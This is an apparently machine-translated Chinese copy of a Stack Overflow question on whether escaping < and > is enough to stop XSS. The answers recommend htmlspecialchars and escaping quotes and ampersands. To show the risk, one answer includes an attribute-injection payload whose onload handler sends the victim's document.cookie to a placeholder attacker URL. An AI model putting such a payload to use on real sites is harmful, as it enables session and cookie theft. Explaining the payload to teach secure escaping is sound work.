正在取代:<和>与<和>足以防止XSS注射?

时间:2010-01-22 00:06:44

标签: xss code-injection

我想知道引入两个标记<>是否足以阻止XSS注射?

如果没有,为什么?什么是最好的解决方案?

2 个答案:

答案 0 :(得分:17)

这在很大程度上取决于背景。

从典型的论坛网站查看此示例...

  

您可以将您的头像图片热链接。输入完整的网址。

恶意用户输入输入字段

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

没有小于和大于的编码,但仍然是一个很大的安全漏洞。

使用htmlspecialchars(),我发现制作(或使用)一个转换为字符串的包装函数是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它是使用应用程序的正确字符集。 Kohana有great example

答案 1 :(得分:6)

您应同时考虑双引号",单引号'和&符号&。如果你在显示/生成输出期间所有都这样做,那么是的,这就足够了。

您应该只确保任何用户控制的输入执行此操作,例如请求参数,请求URL,请求标头和用户控制的输入存储在数据存储区中。

在PHP中,您可以使用htmlspecialchars()执行此操作,并且在JSP中可以使用JSTL <c:out>执行此操作。